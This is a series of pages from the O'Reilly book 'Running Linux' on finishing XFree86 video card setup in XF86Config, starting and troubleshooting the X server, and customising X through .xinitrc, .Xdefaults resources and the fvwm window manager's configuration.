Your XF86Config file is now ready to go with the exception of complete information on the video card. What we're going to do is use the X server to probe for the rest of this information and fill it into XF86Config.

Instead of probing for this information with the X server, you can find the XF86Config values for many cards in the files modeDB.txt, AccelCards, and Devices. These files are all in /usr/X11R6/lib/X11/doc. In addition, there are various README files for certain chipsets. You should look in these files for information on your video card, and use that information (the clock values, chipset type, and any options) in the XF86Config file. Unfortunately, some manufacturers put out a graphics board with a new chipset without changing the board's name. If any information is missing, you can probe for it as described here.

In these examples, we will demonstrate configuration for a #9 GXE 64 video card, which uses the XF86_S3 chipset. This card happens to be the one that used by one of the authors, but the discussion here applies to any video card.

The first thing to do is to determine the video chipset used on the card. Running SuperProbe (found in /usr/X11R6/bin) will tell you this information, but you need to know the chipset name as it is known to the X server.

To do this, run the command:

# X -showconfig
This lists the chipset names known to your X server. (The manual pages for each X server list these as well.) For example, with the accelerated XF86_S3 server, we obtain:
XFree86 Version 3.3.3.1 / X Window System
(protocol Version 11, revision 0, vendor release 6000)
Release Date: March 2 1998
        If the server is older than 6-12 months, or if your card is newer
        than the above date, look for a newer version before reporting
        problems.  (see http://www.XFree86.Org/FAQ)
Operating System: Linux 2.0.33 i686 [ELF]
Configured drivers:
  S3: accelerated server for S3 graphics adaptors (Patchlevel 0)
      newmmio, mmio_928, s3_generic

The valid chipset names for this server are newmmio, mmio_928, and s3_generic. The XF86_S3 manual page describes these chipsets and which video cards use them. In the case of the #9 GXE 64 video card, mmio_928 is appropriate.

If you don't know which chipset to use, the X server can probe it for you. To do this, run the command:

# X -probeonly > /tmp/x.out 2>&1
if you use bash as your shell. If you use csh, try:
% X -probeonly >& /tmp/x.out

You should run this command while the system is unloaded, that is, while no other activity is occurring on the system. This command also probes for your video-card dot clocks (as seen later), and system load can throw off this calculation.

The output from this command (in /tmp/x.out) should contain lines such as the following:

XFree86 Version 3.3.3.1 / X Window System
(protocol Version 11, revision 0, vendor release 6000)
Operating System: Linux

Configured drivers:
  S3: accelerated server for S3 graphics adaptors (Patchlevel 0)
      newmmio, mmio_928, s3_generic
         .
         .
         .
(- -) S3: card type: 386/486 localbus
(- -) S3: chipset:   864 rev. 0
(- -) S3: chipset driver: mmio_928
Here, we see that the three valid chipsets for this server (XF86_S3) are newmmio, mmio_928 and s3_generic. The server probed for and found a video card using the mmio_928 chipset driver.

In the Device section of the XF86Config file, add a Chipset line containing the name of the chipset you determined earlier. For example:

Section "Device"
        # We already had Identifier here...
        Identifier "#9 GXE 64"
        # Add this line:
        Chipset "mmio_928"
EndSection

Now we need to determine which dot clocks are made available by the video card. First, you should look into the files (modeDB.txt and so forth) mentioned at the beginning of this section and see if your card's clocks are listed there. The dot clocks will usually be a list of 8 or 16 values, all of which are in MHz. For example, when looking at mode-DB.txt, we see an entry for the Cardinal ET4000 video board, which looks like this:

# chip    RAM   virtual   clocks   default-mode  flags
 ET4000   1024  1024 768   25  28  38  36  40  45  32   0  "1024x768"
As we can see, the dot clocks for this card are 25, 28, 38, 36, 40, 45, 32, and 0 MHz.

In the Devices section of the XF86Config file, you should add a Clocks line containing the list of dot clocks for your card. For example, for the clocks in this example, we would add the line:

         Clocks 25 28 38 36 40 45 32 0
to the Devices section of the file, after Chipset. The order of the clocks is important! Don't re-sort the list of clocks or remove duplicates.

If you cannot find the dot clocks associated with your card, the X server can probe for these as well. Using the X -probeonly command described earlier, the output should contain lines that look like the following:

(- -) S3: clocks:  25.18  28.32  38.02  36.15  40.33  45.32  32.00  00.00
We could then add a Clocks line containing all of these values, as printed. You can use more than one Clocks line in XF86Config if all the values (sometimes there are more than eight clock values printed) don't fit onto one line. Again, be sure to keep the list of clocks in the order that they are printed.

Be sure there is no Clocks line (or that it is commented out) in the Devices section of the file when using X -probeonly to probe for the clocks. If there is a Clocks line present, the server will not probe for the clocks; it will use the values given in XF86Config.

Note that some accelerated video boards use a programmable clock chip. (See the XF86_Accel manual page for details; this generally applies to S3, AGX, and XGA-2 boards.) This chip essentially allows the X server to tell the card which dot clocks to use. If this is the case, you may not find a list of dot clocks for the card in any of the files mentioned earlier. Or the list of dot clocks printed when using X -probeonly will contain only one or two discrete clock values, with the rest being duplicates or zero.

For boards that use a programmable clock chip, you would use a ClockChip line, instead of a Clocks line, in your XF86Config file. ClockChip gives the name of the clock chip as used by the video card. But in most cases, the X server can detect your clock chip automatically and find the correct entry itself.

If you are not so lucky, the manual pages for each server describe the possible values for your server. For example, in the file README.S3, we see that several S3-864 video cards use an ICD2061A clock chip, and that we should use the line:

ClockChip "icd2061a"
instead of Clocks in the XF86Config file. As with Clocks, this line should go in the Devices section after Chipset.

Similarly, some accelerated cards require you to specify the RAMDAC chip type in the XF86Config file, using a Ramdac line. The XF86_Accel manual page describes this option. Usually, the X server will correctly probe for the RAMDAC.

Some video card types require you to specify several options in the Devices section of XF86Config. These options will be described in the manual page for your server, as well as in the various files (such as README.cirrus or README.S3). These options are enabled using the Option line. For example, the #9 GXE 64 card requires the option:

Option "number_nine"
Usually, the X server works without these options, but they are necessary to obtain the best performance. There are too many such options to list here, and they each depend on the particular video card being used. If you must use one of these options, fear not: the X server manual pages and various files in /usr/X11R6/lib/X11/doc will tell you what they are.

So when you're finished, you should end up with a Devices section that looks something like this:

Section "Device"
        # Device section for the #9 GXE 64 only !
        Identifier "#9 GXE 64"
        Chipset "mmio_928"
        ClockChip "icd2061a"
        Option "number_nine"
EndSection
This Device entry is valid only for a particular video card, the #9 GXE 64; it is given here only as an example. Most video cards require a Clocks line, instead of ClockChip.

There are other options you can include in the Devices entry. Check the X server manual pages for the gritty details, but the explanation in this section should suffice for most systems.

Previous | Home | Next
10.4. Configuring XFree86 | Book Index | 10.6. Running XFree86
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Running XFree86 (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

10.6. Running XFree86

With your XF86Config file configured, you're ready to fire up the X server and give it a spin. First, be sure that /usr/X11R6/bin is on your path.

The command to start up XFree86 is:

startx
 This is a frontend to xinit (in case you're used to using xinit on other Unix systems). You can still use xinit, which gives you precise control about what exactly is started but requires you to start all needed programs manually.

This command starts the X server and runs the commands found in the file .xinitrc in your home directory. .xinitrc is just a shell script containing X clients to run. If this file does not exist, the system default /usr/X11R6/lib/X11/xinit/xinitrc will be used.

You can change the initial display when starting up the X Window System by providing a different .xinitrc in your home directory. The next chapter tells you what you can put in this file.

If you are new to the X Window System environment, we strongly suggest picking up a book such as The X Window System User's Guide by Valerie Quercia and Tim O'Reilly.

Previous | Home | Next
10.5. Filling in Video Card Information | Book Index | 10.7. Running Into Trouble
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Running Into Trouble (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

10.7. Running Into Trouble

Often, something will not be quite right when you initially fire up the X server. This is almost always caused by a problem in your XF86Config file. Usually, the monitor timing values are off or the video-card dot clocks are set incorrectly. If your display seems to roll, or the edges are fuzzy, this is a clear indication that the monitor timing values or dot clocks are wrong. Also be sure you are correctly specifying your video card chipset, as well as other options for the Device section of XF86Config. Be absolutely certain that you are using the right X server and that /usr/X11R6/bin/X is a symbolic link to this server.

If all else fails, try to start X "bare"; that is, use a command such as:

X > /tmp/x.out 2>&1
You can then kill the X server (using the Ctrl-Alt-Backspace key combination) and examine the contents of /tmp/x.out. The X server reports any warnings or errors--for example, if your video card doesn't have a dot clock corresponding to a mode supported by your monitor. This output can be very helpful in diagnosing all kinds of problems. Examine it closely if your X server does not start up at all, does not provide the resolutions you wanted, or shows a flaky, snowy, or otherwise insufficient picture. Even if everything works to your satisfaction, you might want to check this file for interesting information that the X server has found out about your hardware. The lines starting with (**) contain data that you provided yourself in the configuration file, while lines starting with (- -) contain data that the X server has found out itself.

The file VideoModes.doc included in the XFree86 distribution contains many hints for tweaking the values in your XF86Config file.

Remember that you can use Ctrl-Alt with the plus or minus on the numeric keypad to switch between the video modes listed on the Modes line of the Screen section of XF86Config. If the highest-resolution mode doesn't look right, try switching to lower resolutions. This lets you know, at least, that the configurations for those lower resolutions in your X configuration are working correctly.

Also, check the vertical and horizontal size/hold knobs on your monitor. In many cases it is necessary to adjust these when starting up X. For example, if the display seems to be shifted slightly to one side, you can usually correct this using the monitor controls.

The Usenet newsgroup comp.windows.x.i386unix is devoted to discussions about XFree86. It might be a good idea to watch that newsgroup for postings relating to your video configuration; you might run across someone with the same problems as your own. If this fails, please contact your Linux distributor; their support staff should be able to help you as well.

Previous | Home | Next
10.6. Running XFree86 | Book Index | 11. Customizing Your X Environment
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Customizing Your X Environment (Running Linux)

 Running LinuxSearch this book
Previous Next

Chapter 11. Customizing Your X Environment

Contents:

Basics of X Customization
The fvwm Window Manager
The K Desktop Environment
X Applications

In the last chapter, you learned how to set up the X Window System so that it recognizes your graphics board and your monitor. While this is clearly necessary, it is of course only one half of the story. In this chapter, we will tell you the other half: customizing your X environment. Unlike the hardware setup that you normally do only once for a particular computer, you might want to change your work environment from time to time because your work habits have changed, because new and better environments are available, or simply because the old one has become boring for you. Some of these environments are quite sophisticated. For examples they let you start up a program with all the options you want at the press of a key or the click of a mouse, they let you drag file icons onto a printer to have text printed, and they can do lots of other fancy things.

Today, many distributions more or less automatically configure your X server for you and put you into a graphical environment from the start. However, if things go wrong during installation and you want to fine-tune your X server (in order to achieve a higher resolution, for example) or if you simply want to use another windowing environment than the one your distribution vendor has selected as the default, we'll tell you what to do.

We will first tell you the basics of configuring X, including what happens at startup, what X resources are, and how you can use them. In principle, this is already enough to configure X for use, but if you are anything more than a Spartan, you demand more from your work environment. We will therefore tell you how to configure a work environment based on the fvwm window manager first. For a long time, fvwm was the favorite window manager among Linux users, and only recently other window managers and desktop environments have taken the lead.

Until recently, the problem with using X on Unix systems in general and Linux in particular was that nothing was integrated. You would use a window manager and a number of X applications, but they would all look different, behave differently, and operate in a manner that was not integrated. For example, drag-and-drop-- ubiquitous on Windows or the Macintosh--was hardly heard of on Linux, and if it was, it was difficult to find two applications that could interact together with drag-and-drop.

A relatively new category of software, the so-called desktop environments, has accepted the challenge to produce a state-of-the-art Unix GUI and tries to provide an integrated, consistent desktop where all programs have the same look-and-feel, behave the same, and even provide the same menus in all applications (to the extent where this is possible).

Currently, there are two main desktop environments available for Linux, the K Desktop Environment and GNOME. KDE is a little bit older and much more advanced with respect to functionality and stability. It aims at making people coming from other computing environments feel at home, as well as providing long-term Unix users a more productive and friendly work-environment. GNOME, on the other hand, has put a lot of work into the visual aspects of a desktop environment with colorful icons and the like, but it is still lacking stability and a number of features. Therefore, we will cover KDE here.

The Red Hat, SuSE, and Caldera releases include both KDE and GNOME, while Debian includes only GNOME. You can also find more about GNOME at http://www.gnome.org. Appendix B reprints an article describing the design of that desktop.

11.1. Basics of X Customization

Before running X applications, it's a good idea to learn the rudiments of X customization, so that you're not forced to live with the (often unappealing) default configuration used on many systems.

11.1.1. xinit

You run X with the startx command. This is a frontend (passing in reasonable options) for xinit, the program responsible for starting the X server and running various X clients that you specify. xinit (via startx) executes the shell script .xinitrc in your home directory. This script merely contains commands that you wish to run when starting X, such as xterm, xclock, and so on. If you don't have a .xinitrc file, the system default /usr/lib/X11/xinit/xinitrc is used instead.

Here, we'll present a sample .xinitrc file and explain what it does. You could use this as your own .xinitrc or copy the system default xinitrc as a starting point:

1  #!/bin/sh
2  # Sample .xinitrc shell script
3
4  # Start xterms
5  xterm -geometry 80x40+10+100 -fg black -bg white &
6  xterm -geometry -20+10 -fn 7x13bold -fg darkslategray -bg white &
7  xterm -geometry -20-30 -fn 7x13bold -fg black -bg white &
8
9  # Other useful X clients
10 oclock -geometry 70x70+5+5 &
11 xload -geometry 85x60+85+5 &
12 xbiff -geometry +200+5 &
13 xsetroot -solid darkslateblue &
14
15 # Start the window manager
16 exec fvwm2

This should be quite straightforward, even if you're not familiar with X. The first two lines simply identify the shell script. Lines 5-7 start up three xterm clients (recall that xterm is a terminal-emulator client). Other clients are started on lines 10-13, and on line 16 the window manager, fvwm, is started.

Running startx with this particular .xinitrc in place gives you something that looks like Figure 11-1.[43]

[43]All right, so it's not a work of art, but we needed something simple that would work correctly on most displays!

Figure 11-1. Screen created by sample .xinitrc file

Let's look at this in more detail. On line 5, we see that xterm is started with several options, -geometry, -fg, and -bg. Most X clients support these standard options, among others.

The -geometry option allows you to specify the size and position of the window on the display. The geometry specification has the format:

xsizexysize+xoffset+yoffset
In this case, the option -geometry 80x40+10+100 puts the window at the location (10,100) on the screen (where (0,0) is the top-left corner), making it 80 characters wide by 40 characters high. Note that xterm measures the size of the window in characters, not pixels. The actual size of the window in pixels is determined by the font that is used.

The -fg and -bg arguments allow you to specify the foreground (text) and background colors for the xterm window, respectively. The colors used here are a rather boring black and white, but this should work on color and monochrome displays alike. Under X, colors are usually specified by name, although you can provide your own RGB values if you prefer. The list of color names (and corresponding RGB values) is given in the file /usr/lib/X11/rgb.txt. Running xcolors will display these colors, along with their names.

Line 6 runs another xterm, although the arguments are slightly different:

xterm -geometry -20+10 -fn 7x13bold -fg darkslategray -bg white &
First of all, the geometry specification is just -20+10. Without size parameters, xterm will use the default, which is usually 80x25. Also, we see that the xoffset is prefixed with a -, instead of +. This places the window 20 pixels from the right edge of the screen. Likewise, a geometry specification of -20-30 (as used on line 7) means to place the window 20 pixels from the right edge of the screen and 30 pixels from the bottom. In this way, the placement of windows is less dependent on the particular resolution you're using.

The -fn option on lines 6 and 7 specifies that the font used by xterm should be 7x13bold. Using the command xlsfonts displays a complete list of fonts on your system; the X client xfontsel allows you to select fonts interactively--more about fonts later.

On line 10 we start an oclock client, which is a simple analog clock. Line 11 starts xload, which displays a graph of the system load average (number of running processes) that changes with time. Line 12 starts xbiff, which just lets you know when mail is waiting to be read. Finally, on line 13 we do away with the bland grey X background and replace it with a flashy darkslateblue. (Fear not; there is more fun to be had with X decor than this example shows.)

You'll notice that each of the X clients started on lines 6-13 is executed in the background (the ampersand on the end of each line forces this). If you forget to put each client in the background, xinit executes the first xterm, waits for it to exit (usually, after you log out), executes the next xterm, and so on. The ampersands cause each client to start up concurrently.

What about line 16? Here, we start fvwm (Version 2), a window manager used on many Linux systems. As mentioned before, the window manager is responsible for decorating the windows, allowing you to place them with the mouse, and so forth. However, it is started with the command:

exec fvwm2
This causes the fvwm2 process to replace the xinit process. This way, once you kill fvwm,[44] the X server shuts down. This is equivalent to, but more succinct than, using the Ctrl-Alt-Backspace key combination.

[44]If you have experimented with fvwm, you'll notice that pressing the first mouse button while the cursor is on the background causes a menu to pop up. Selecting the Quit fvwm option from this menu causes fvwm to exit.

In general, you should put an ampersand after each X client started from .xinitrc, and exec the window manager at the end of the file. Of course, there are other ways of doing this, but many users employ this technique.

If you read the manual pages for xterm and the other X clients, you'll see many more command-line options than those described here. As we said, virtually everything about X is configurable. fvwm (Version 2) uses a configuration file of its own, .fvwm2rc, described in its manual page. (If you have no .fvwm2rc file, the system default /usr/lib/X11/fvwm2/system.fvwmrc is used instead.) The manual pages, as well as books on using X (such as X Window System User's Guide by Valerie Quercia and Tim O'Reilly), provide more information on configuring individual clients.

11.1.2. The X Resource Database

Depending on which environment you use, you can't use X for long without running into X resources; they are mentioned in virtually every manual page. X resources provide a more flexible and powerful way to configure X clients than using command-line options such as -geometry and -fg. They allow you to specify defaults for entire classes of clients; for example, we could set the default font for all invocations of xterm to 7x13bold, instead of specifying it on each command line.

Recently, X resources have fallen out of favor with X developers. While they are really very flexible, they are not particularly easy to work with and feel more like a relic of ancient times. A growing number of programs are therefore customized not by X resources but instead via comfortable configuration dialog boxes. However, it still pays to know about X resources because you will come across them for a long time to come.

Using X resources requires two steps. First, you must create a file containing your X resource defaults. Typically, this file is called .Xdefaults and lives in your home directory. Second, you need to use xrdb to load the X resources into the server, which makes them available for use. In general, you run xrdb from your .xinitrc before starting any clients.

As a simple example, let's take the various command-line options used by the clients in the earlier sample .xinitrc and specify them as X resources instead. Afterwards, we'll show you what kinds of changes need to be made to .xinitrc to make use of the resources.

First a few words about resources and how they work. Each X application is part of a certain application class. For example, xterm is a member of the XTerm class. xclock and oclock are both members of the Clock class. Setting resources for the Clock class affects all applications that are part of that class; because xclock (a square analog clock) and oclock (an oval analog clock) are similar, they belong to the same class and share the same resources. Most applications are members of their own exclusive class; xload is the only member of the XLoad class. However, if another xload-like application were to be written, it might be part of the XLoad class as well. Placing X clients into application classes allows you to set resources for all applications in that class. (The manual page for each X client specifies the application class the client belongs to.)

Standard X clients employ resources such as foreground, background, geometry, and font. Also, many X clients have specific resources of their own; for example, xterm defines the resource logFile, which allows you to specify a file in which to log the terminal session. Again, the manual pages for X clients specify which resources are available.

Moreover, resources themselves are arranged into a hierarchy of classes. For instance, the background resource is a member of the Background class. Resource classes allow many separate resources to be members of the same class, for which you can set resource values for the class as a whole. For example, the background resource usually determines the primary background color of a window. However, if an application window has several panels or regions, you may wish to set the background for each panel separately. There might be resources such as background1, background2, and so on, for each panel, but they would all be members of the Background resource class. Setting the resource value for the Background class sets the value for all resources in that class.

In general, you won't need to concern yourself with the differences between resource classes and the resources within that class. In most cases, it's easier to set resource values for an entire class (such as Background) instead of individual resources in that class.

Now, let's look at how resource values are set in the X resource database. A complete resource specification is of the form:[45]

(ApplicationClass|applicationName)*(ResourceClass|resourceName) : value
The vertical bar means "choose one or the other." Let's say you want to set the background color of an xterm window. The complete resource specification might be:
xterm*background: darkslategray
However, this sets only a particular background resource (not all of the resources that might be in the Background class) and only for the xterm client when it is invoked as xterm (more on this later). Therefore, we might want to use resource classes instead:
XTerm*Background: darkslategray
This resource specification will apply to all xterm clients, and all Background-class resources used by xterm.

[45]Actually, resource specifications have a more complex syntax than this, and the rules used to determine resource and value bindings are somewhat involved. For simplification, we are presenting a reasonable model for application resource settings--and we direct curious readers to a good book on using X like the X Window System User's Guide.

Now, let's look at translating the options given in the earlier .xinitrc file into application resources. Create a file in your home directory, called .Xdefaults. For the previous sample .xinitrc, it should contain:

1  Clock*Geometry:         70x70+5+5
2  XLoad*Geometry:         85x50+85+5
3  XBiff*Geometry:          +200+5
4
5  ! Defaults for all xterm clients
6  XTerm*Foreground:       white
7  XTerm*Background:       black
8
9  ! Specific xterms
10 xterm-1*Geometry:       80x40+10+110
11
12 xterm-2*Geometry:       -20+10
13 xterm-2*Font:           7x13bold
14 xterm-2*Background:     darkslategray
15
16 xterm-3*Geometry:       80x25-20-30
17 xterm-3*Font:           7x13bold
Lines 1-3 set the Geometry resource class for the Clock, XLoad, and XBiff application classes. On lines 6-7, we set the Foreground and Background resource classes for the XTerm class as whole. All xterm clients will use these values for Foreground and Background by default.

On lines 10-17, we set resources specific to each invocation of xterm. This is necessary because not all of the xterms are alike; they each have different geometry specifications, for example. In this case, we have named the individual xterm invocations xterm-1, xterm-2, and xterm-3. As you can see, we set the Geometry resource for each on lines 10, 12, and 16. Also, we set the Font class for xterm-2 and xterm-3. And we set the Background class to darkslategray for xterm-2.

X resource binding rules work so that certain bindings have precedence over others. In this case, setting a resource for a specific invocation of xterm (as in xterm-2*Background on line 14) has precedence over the resource setting for the XTerm class as a whole (XTerm*Background on line 7). In general, bindings for an application or resource class have lower precedence than bindings for particular instances of that class. In this way, you can set defaults for the class as a whole but override those defaults for particular instances of the class.

Now, let's look at the changes required to .xinitrc to use the X resources defined here. First, we need to add an xrdb command, which loads the application resources into the server. And, we can get rid of the various command-line options that the resources have replaced. To wit:

#!/bin/sh
# Sample .xinitrc shell script

# Load resources
xrdb -load $HOME/.Xdefaults

# Start xterms
xterm -name "xterm-1" &
xterm -name "xterm-2" &
xterm -name "xterm-3" &

# Other useful X clients
oclock &
xload &
xbiff &
xsetroot -solid darkslateblue &

# Start the window manager
exec fvwm2
As you see, the -name argument given to the three instances of xterm lets us specify the application name that xterm uses for locating X resources. Most X clients don't support a -name argument; the name used is usually the one which it was invoked with. However, because many users run several xterms at once, it is helpful to distinguish between them when setting resources.

Now, you should be able to modify your X environment to some degree. Of course, knowing how to configure X depends partly on being familiar with the many X clients out there, as well as the window manager (and how to configure it). The rest of this section will present various X applications for Linux. We'll also look at a particular window manager, fvwm, in detail.

Previous | Home | Next
10.7. Running Into Trouble | Book Index | 11.2. The fvwm Window Manager
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The fvwm Window Manager (Running Linux)

 Running LinuxSearch this book
Previous Next

11.2. The fvwm Window Manager

Your choice of window manager determines, to a large extent, the look and feel of your X environment. Many window managers also provide menus, which allow you to start other X applications using the mouse, and a virtual desktop, which increases your overall desktop space considerably.

fvwm is a virtual desktop window manager used by many Linux users. It is based partially on the code for twm, a classic window manager included with the MIT X11 distribution. However, fvwm has been trimmed down and requires about half the memory used by twm--welcome news for Linux systems with 8 MB or less of physical RAM. fvwm provides many features not available in other window managers, and for this reason (as well as the fact it was developed specifically for Linux), we are covering it here.

Unlike twm and some other window managers, fvwm undergoes constant development. This means that some of the features described here may not be present in the same form in newer versions of the software. Refer to the manual page for fvwm to verify that the features presented here are available. We will cover Version 2 of fvwm here.

Among the features offered by fvwm are:

  • A simple virtual desktop, which provides a pager (an overall birds-eye view of the desktop) and automatic desktop scrolling when the pointer reaches the screen boundary.

  • A keyboard equivalent for almost every mouse-based feature; this is helpful when using X on laptops without a mouse or trackball, or for people with RSI or other physical problems making use of the mouse difficult.

  • Support for color icons using the XPM libraries.

  • A programming interface for extensions, allowing you to add new features to fvwm. One extension included in the fvwm distribution is a button box that stays put on your root window. You can bind commands to each button, allowing you to point and click to start applications.

  • Fully configurable desktop menus, which appear when you press the mouse buttons.

  • A Motif-like 3D look and feel for window frames. In fact, fvwm includes options to make it compatible with the Motif window manager (mwm).

Among the most powerful fvwm features is the virtual desktop, which allows you to place windows on an area much larger than the actual size of the visible display. Using the mouse, you can switch (page) between areas of the virtual desktop. For example, when you move the mouse pointer to the right edge of the display, the desktop will shift a screen to the left, bringing new windows into view. This way you can place windows across an area larger than your screen, viewing only a portion of the virtual desktop at one time.

A sample desktop using fvwm was shown in Figure 11-1 in the section "Section 11.1.1, "xinit"." Each window is given a decorative frame, provided by fvwm, with configurable titlebar buttons. Later in this section, we'll describe how to customize these to your liking.

The pager, in the top-right corner of the display, gives a bird's-eye view of the entire virtual desktop. The pager can also move windows around the virtual desktop and select the portion of the desktop currently in view.

11.2.1. Configuring fvwm

In order to customize fvwm, you'll need to create a configuration file, .fvwm2rc, in your home directory. In this section, we're going to present a number of features of fvwm and describe how to enable them from .fvwm2rc.

We must warn you that the syntax of some of the options has changed between different versions of fvwm; check them against the manual page if you have problems. You may wish to use the system default .fvwm2rc file (usually found in /usr/lib/X11/fvwm2/system.fvwmrc) as a starting point.

The most basic fvwm customizations deal with colors and fonts used for window frames and menus. For example, you might include the following in your .fvwm2rc:

# Set up colors
Style "*"               Color White/Midnightblue
HilightColor            White Red
WindowFont              -adobe-helvetica-bold-r-normal-*-*-120-*

Some commands depend on which window has the focus, which means that it is receiving input. (Normally you just click with the mouse in a window to make it the one in focus.) Unfocused windows, menus, and the pager use the color that has been set with Style "*" Color, while the window with the focus uses the color that was set with HilightColor. The foreground color is generally used for text (in the window title, and so forth) and the background is used for the window frame itself. Be artistic! WindowFont names the font used by window titlebars. Note that none of these options sets the colors used inside windows, because these are controlled by the application (client). The options apply only to window frames and menus, because those are managed by fvwm.

To get a list of all the colors defined on your system, enter the command:

eggplant$ showrgb | more

Most fvwm users also make use of the virtual desktop. In order to configure it, you should include lines such as the following in .fvwm2rc:

# Configure virtual desktop
DeskTopSize   3x3
AddToFunc     InitFunction "I" Module FvwmPager 0 0
Style         "FvwmPager" Sticky, NoTitle, WindowListSkip
*FvwmPagerGeometry -10 -10
EdgeScroll    100 100
 We want the size of the desktop (DeskTopSize) to be three screens wide by three screens high. The line starting with AddToFunc says that when starting fvwm, the pager should be started, too. The Style line determines that the pager is to be shown in each virtual desktop (Sticky), that it should not have a window titlebar (NoTitle), and that it should not be shown in the window list (WindowListSkip). In addition, we place the pager in the bottom right corner of the screen. The pager window provides a view onto the full virtual desktop; clicking with the mouse in the pager window makes the corresponding part of the desktop visible on the screen. In Version 1 of fvwm, the pager was a fixed part of the window manager, but Version 2 makes the pager a module of its own. That's also why the pager is no longer configured via fvwm options like Pager as in earlier versions, but via the settings for the module FvwmPager. A module is an add-on to the window manager that cannot run standalone. Frequently used modules, like the pager, are shipped with fvwm2.

EdgeScroll specifies the percentage by which the desktop should scroll when the pointer reaches the edge of the screen. Using EdgeScroll 100 100 causes the desktop to shift by an entire screen when we move the mouse cursor to the edge; this gives the appearance of switching from one screen to an entirely different one. This way you can place windows across the entire virtual desktop and wander around the desktop using only the mouse.

The Style command sets a whole slew of attributes for windows on your screen. For instance, to specify that the xbiff always stays on top of other windows on the display, use the command:

Style "XBiff" StaysOnTop

Now, no other window is allowed to obscure xbiff. Besides StaysOnTop, other popular options to Style include:

NoTitle

Prevents a window from having a decorative title on the top with its name. This option is often used for small windows like xclock and xbiff, especially if you don't expect to move or resize them.

NoBorder

Prevents a window from having a border.

Sticky

Makes a window stay in the same place on the screen when you shift the virtual desktop.

BoundaryWidth

Sets the width in pixels of frames placed around windows by fvwm. The default used by fvwm is six pixels, which is quite wide.

Arguments to Style may be window titles or application-class names. Older versions of fvwm don't have the Style command. Instead, they offer a variety of commands named StaysOnTop, NoTitle, and so on. You use them like this:

StaysOnTop XBiff

There are various .fvwm2rc commands dealing with icons. As with other window managers, fvwm allows you to iconify a window; this replaces the window with a small icon containing the name of the window and possibly a picture depicting the type of window. fvwm supports both bitmaps and color pixmaps for icons. A bitmap allows only one bit for each pixel it displays and therefore is limited to one background and one foreground color (although you can get a mixture or gray by alternating pixels, a process called dithering). A pixmap, on the other hand, has several bits per pixel and can therefore support a large number of colors:

IconFont    -adobe-helvetica-medium-r-*-*-*-120-*
IconPath    /usr/include/X11/bitmaps/:/usr/include/X11/xfm/bitmaps
PixmapPath  /usr/include/X11/pixmaps/:/usr/include/X11/xfm/pixmaps

Style IconBox     700 0 1080 50
Style "*" Icon unknown.xpm
Style "XTerm" Icon xterm.xpm
Style "Emacs" Icon emacs.xpm
 IconFont specifies the font to use for icons. IconPath and PixmapPath specify colon-separated pathnames where icon images can be found; if you keep images in several directories, separate their pathnames with colons. IconPath specifies locations for bitmaps (XBM), and PixmapPath specifies locations for color pixmaps (XPM).

Style IconBox defines a region of the screen where icons should be placed. You can specify more than one IconBox: up to four, if you wish. In this case, icons should be placed in an invisible box defined by the top-left corner at location (700,0) and bottom-right corner at (1080,50).

Following Style IconBox are several Style commands that bind icon images to windows. In this case, we want all XTerm windows to use xterm.xpm, and Emacs to use emacs.xpm. The name of the icon file can either be a full pathname, or a pathname relative to either IconPath or PixmapPath. The command:

Style "*" Icon unknown.xpm

sets the default icon to unknown.xpm.

If your fvwm does not support the Style command, use commands such as:

Icon "" unknown.xpm
Icon "XTerm" xterm.xpm
Icon "Emacs" emacs.xpm

11.2.2. More Customizations

Most fvwm users include at least the previous options in the .fvwm2rc file. However, fvwm also provides the ability to configure the desktop menus, functions executed by the window titlebar buttons, and so on. Here, we'll introduce several of those features.

First, let's configure fvwm pop-up menus, which appear when pressing the mouse buttons on the root window. You can use these menus to execute commands, manipulate windows, and so on. Note that some distributions, like Debian and SuSE, can automatically update your window manager menus with the installed packages on the system:

AddToMenu xclients "Xclients" Title
+ "Netscape"	Exec netscape
+ "xterm"		Exec xterm
+ "emacs"		Exec emacs -w
+ ""			Nop
+ "eggplant"    Exec xterm -e rlogin eggplant &
+ "papaya"      Exec xterm -e rlogin papaya &
+ ""			Nop
+ "screensaver" Exec xscreensaver-command -activate &
+ "xcalc"       Exec xcalc &
+ "xman"        Exec xman &
+ "xlock"       Exec xlock -mode rotor &
EndPopup
The menu is defined with the command AddToMenu. There is no command for terminating a menu definition; the menu entries do not even have to be on subsequent lines. Each menu gets a name with which it can be referenced later (in this case xclients).

The format of the menu is relatively self-explanatory. The title is already set in the AddToMenu line; Nop causes a separator line to appear in the menu. The Exec function causes a command to be executed when the menu item is chosen; the arguments to Exec determine which command is executed. The leftmost argument of each command line is the name of the item as it appears in the menu (such as "Netscape"); the remaining arguments specify the command to be executed.

We define a second menu, fvwm, which uses the fvwm window-manipulation functions:

AddToMenu fvwm "Window Ops" Title
+ "Move Window"		Move
+ "Resize Window" 	Resize
+ "Raise Window" 	Raise
+ "Lower Window" 	Lower
+ "Iconify Window" 	Iconify
+ "Stick Window" 	Stick
+ ""				Nop
+ "Xclients"  		Popup Xclients
+ ""				Nop
+ "Destroy Window"  Destroy
+ "Delete Window"   Delete
+ ""                Nop
+ "Load Xdefaults"  Exec xrdb -load $HOME/.Xdefaults
+ "Restart Fvwm"    Restart fvwm2
+ "Start twm"       Restart twm
+ "Quit Fvwm"
EndPopup
Each of the built-in functions Move, Resize, Lower, and so on are described in the fvwm2 manual page. One function of note is Popup, which allows a previously defined pop-up menu to be used as a submenu of the current menu. Here, we include the xclients menu defined as a submenu.

Also included here are commands for restarting fvwm or starting another window manager (twm) in place of fvwm.

fvwm also allows you to modify the function of the mouse buttons in various contexts. The Mouse command is used for this, and takes the form:

Mouse button context modifiers function
button is 1, 2, 3, or 0 (where 0 means "any button"). context specifies the region in which the mouse binding takes effect; context may be:

  • R for the root window

  • W for an application window

  • S for a window frame

  • F for a window frame corner

  • T for a window titlebar

  • I for an icon window

  • A digit from 0-9, specifying a particular titlebar button (described later)

  • A for any context (except titlebar buttons)

  • Any combination of these

For example, a context of TSIF specifies window titlebars, frames, and frame corners, as well as icon windows.

